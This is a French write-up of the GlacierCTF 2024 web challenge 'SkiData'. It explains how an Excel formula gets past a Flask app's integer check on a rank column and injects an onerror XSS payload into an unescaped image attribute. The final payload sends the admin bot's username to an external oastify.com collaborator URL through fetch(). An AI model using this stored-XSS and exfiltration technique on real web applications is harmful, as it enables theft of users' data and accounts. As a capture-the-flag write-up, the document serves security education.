GlacierCTF 2024: SkiData

Énoncé

The owner of the SkiData Platform has challenged you to find out his name! He told you, he has really good opsec, can you prove him wrong?

Author: h4ckd0tm3

https://skidata.web.glacierctf.com

Aperçu

Pour ce challenge web, voici les fichiers sources fournis:

.
├── adj.txt
├── app.py
├── bot.py
├── deploy.sh
├── docker-compose.yml
├── Dockerfile
├── Dockerfile.bot
├── flag.txt
├── instance
│   └── ski_race.db
├── noun.txt
├── requirements.txt
├── sha256sum
├── ski_race_example.xlsx
├── static
│   ├── logo.png
│   ├── rank-1.png
│   ├── rank-2.png
│   ├── rank-3.png
│   └── snow.js
└── templates
    ├── index.html
    ├── layout.html
    ├── login.html
    ├── my_races.html
    ├── nav.html
    ├── race_detail.html
    └── register.html

4 directories, 25 files

Le site web possède une page pour s’enregistrer et se connecter. Une fois connecté on a accès à des éléments supplémentaires:

  • /my_races
  • /race/<int:race_id>
  • /race/<int:race_id>/report
  • /logout

La route /my_races permet d’upload les résultats d’une course à partir d’un fichier excel, avec un titre et une description. Elle permet aussi de lister les résultats de toutes les courses uploads. Ensuite, on peut accéder aux classements des courses via /race/<int:race_id>. Chaque id correspond aux classements d’une course différente. Et pour finir la route /race/<int:race_id>/report permet de rapporter une course à l’administrateur.

Pour récupérer le flag qui correspond au nom d’utilisateur de l’administrateur (géré par bot.py).

docker-compose.yml:

environment:
  - ADMIN_USER=gctf{FAKE_FAKE_FAKE}
  - ADMIN_PASSWORD=.FakePW69!
  - WEB_URL=http://skidata-web:5000
  - REDIS_HOST=skidata-redis

app.py:

@app.route('/race/<int:race_id>/report')
@login_required
def race_report(race_id):
    user = current_user
    race = Race.query.get_or_404(race_id)

    if race.user_id == user.id or user.is_admin:

        q.enqueue(visit, url_for('race_detail', race_id=race_id),
                  os.environ.get("ADMIN_USER", "FAKEUSER"),
                  os.environ.get("ADMIN_PASSWORD", "FAKEPW"),
                  os.environ.get("WEB_URL", "localhost"))
        flash('The Admin has been notified!')
        return redirect(url_for("my_races"))

    flash('Not your race!')
    return redirect(url_for("my_races"))

bot.py:

import os
import sys
from time import sleep

from playwright.sync_api import sync_playwright

def visit(race, user, password, url):
    print("Checking Race", race, file=sys.stderr)

    with sync_playwright() as p:
        browser = p.chromium.launch(
            headless=True,
            args=[
                "--disable-dev-shm-usage",
                "--disable-extensions",
                "--disable-gpu",
                "--no-sandbox",
                "--headless"
            ])

        context = browser.new_context()
        page = context.new_page()
        page.goto(f"{url}/login")
        page.get_by_label("Username").fill(user)
        page.get_by_label("Password").fill(password)
        page.get_by_role("button", name="Login").click()
        page.goto(f"{url}{race}")

        sleep(4)

        context.close()
        browser.close()

Résolution

Afin de résoudre ce challenge, il va falloir upload un fichier xlsx contenant la payload pour bypass un filtre et trigger la XSS, puis rapporter la page vulnérable à l’administrateur, administrateur simulé par un bot (bot.py).

Analyse et bypass

Dans cette partie, nous allons analyser le code pour trouver un moyen d’exploiter une XSS. Pour commencer, on peut regarder le fichier ski_race_example.xlsx fourni en exemple pour enregistrer les résultats d’une course. Le model fourni est un tableur sous la forme suivante:

Name Time Rank Country
ProjectSekai 6:4:71 1 INT
organizers 5:9:73 2 CHE
r3kapig 5:4:72 3 CHN
TUDelftCTFTeam 4:9:74 4 NLD
thehackerscrew 4:9:74 5 ATA
CyKOR 4:9:57 6 KOR
KITCTF 4:6:40 7 DEU
RedHazzarTeam 4:5:38 8 RUS
noreply 4:5:32 9 DZA
LiteChicken 3:7:93 10 RUS

Lorsqu’on upload ce fichier avec un titre et une description dans /my_races, on retrouve nos résultats présent dans ski_race_example.xlsx sur une page de la route /race/<int:race_id>. On peut alors se demander, si il est possible d’injecter des balises html afin de pouvoir obtenir une XSS ? Cependant, par défaut avec Flask, les caractères spéciaux permettant d’injecter des balises html sont échappés. Sauf dans les cas ou le développeur a expressément fait la demande de ne pas échapper les valeurs passées dans la template, par exemple avec {{ myvariable|safe }}.

Si on regarde le fichier race_detail.html, on se rend compte que toutes les valeurs passées à part result.rank semblent être échappées correctement:

{% extends "layout.html" %}
{% block content %}
    <div class="container mt-5">
        <h2>{{ race.race_name }}</h2>
        <!-- Display the race comment if it exists -->
        {% if race.comment %}
            <p class="text-muted"><em>{{ race.comment }}</em></p>
        {% endif %}
        <!-- Race Results Table -->
        <div class="mt-4">
            <h4>Race Results</h4>
            <table class="table table-bordered table-striped mt-3">
                <thead>
                <tr>
                    <th>Name</th><th>Time</th><th>Rank</th><th>Country</th>
                </tr>
                </thead>
                <tbody>
                {% for result in race.results %}
                    <tr>
                        <td>{{ result.name }}</td><td>{{ result.time }}</td>
                        {% if loop.index <= 3 %}
                            <td><img {{ style(result.rank)|xmlattr }}  alt="rank-img"/></td>
                        {% else %}
                            <td>{{ result.rank }}</td>
                        {% endif %}
                        <td>{{ result.country }}</td>
                    </tr>
                {% else %}
                    <tr>
                        <td colspan="4" class="text-center">No race results available</td>
                    </tr>
                {% endfor %}
                </tbody>
            </table>
        </div>
        <a href="{{ url_for('my_races') }}" class="btn btn-secondary mt-3">Back to My Races</a>
        <a href="{{ url_for('race_report', race_id=race.id)}}" class="btn btn-primary mt-3">Report to Admin</a>
    </div>
{% endblock %}

Oui, les valeurs présentes dans la colonne rank passe par la fonction style() et par le filtre xmlattr. Le filtre xmlattr est utilisé pour formater les attributs XML/HTML et la fonction style() est définie dans app.py :

def style(rank):
    return {f"rank-{rank}": "1", "src": f"/static/rank-{rank}.png", "width": "25px", "height": "25px"}

app.jinja_env.globals.update(style=style)

Maintenant, on peut penser qu’il suffit que mettre notre payload dans la colonne rank pour avoir notre XSS. Ce n’est malheureusement pas aussi simple, tout simplement car une vérification sur les valeurs présentes dans la colonne rank est effectué. Une condition dans app.py, est présente pour déterminer si les valeurs de la colonne rank sont belle et bien des nombres entiers:

excel = ExcelCompiler(filepath)
race_results = []
for row in range(2, 12):
    try:
        # [...]
        if type(excel.evaluate(f'Sheet1!C{row}')) is not int:
            flash(f"Sheet1!C{row}, Rank must be an integer")
            return redirect(request.url)

        excel.evaluate(f'Sheet1!E{row}')
        excel.set_value(f'Sheet1!E{row}', "Imported")

        name = excel.evaluate(f'Sheet1!A{row}')
        time = excel.evaluate(f'Sheet1!B{row}')
        rank = excel.evaluate(f'Sheet1!C{row}')
        country = excel.evaluate(f'Sheet1!D{row}')

        race_results.append({
            'name': name,
            'time': time,
            'rank': rank,
            'country': country
        })
    except Exception as e:
        flash(f"Error processing row {row}: {str(e)}")
        break

Parcontre, on voit aussi que le programme ajoute “Imported” à chaque fois qu’une ligne est ajouté. La valeur “Imported” est collé, sur la même ligne que celle ajouté dans race_results, dans la colonne E. Il serait alors possible de mettre une condition, pour qu’une des valeurs de la colonne rank vaille un nombre tant que “Imported” n’est pas présente sur la ligne. Mais que la valeur vaille notre payload pour trigger la XSS lorsque la ligne contient “Imported”.

Excel et Cross Site Scripting

Une fois le bypass determiné, il va falloir appliquer ce qui a été dit précédement. Pour faire ça on va devoir utiliser excel, ceux qui sont sur Linux comme moi peuvent utiliser la version en ligne présent sur OneDrive.

Pour les conditions sur excel on peut utiliser la fonction SI() qui prend 3 arguments: le test logique, la valeur si vrai et la valeur si faux. On peut alors utiliser un payload du style: =SI(Sheet1!E2="Imported", "xss", 1) dans la deuxième ligne de la colonne rank. Lorsqu’on teste ce payload, on voit que l’attribut rank-1 est remplacé par rank-xss et la valeur de l’attribut src, /static/rank-1.png par /static/rank-xss.png. On pourrait alors modifier l’image source et ajouter l’attribut onerror pour exécuter du javascript.

Résultat:

Il ne manque plus qu’à crafter notre payload pour trigger notre XSS et leak le nom d’utilisateur de l’administrateur. Pour utiliser les doubles quotes qui peuvent poser problème, on peut utiliser la fonction CHR() sur excel.

Exploitation

Payload final:

=SI(Sheet1!E2="Imported", "x"&CHR(34)&"/onerror=fetch('https://2wzdg74vnozmon6zh1ip7rptuk0bo1cq.oastify.com/?flag='.concat(btoa(document.querySelector('span.navbar-text').textContent)))", 1)

PoC:

Flag: gctf{ex3c3lsi0r_l4zy_m4st3r}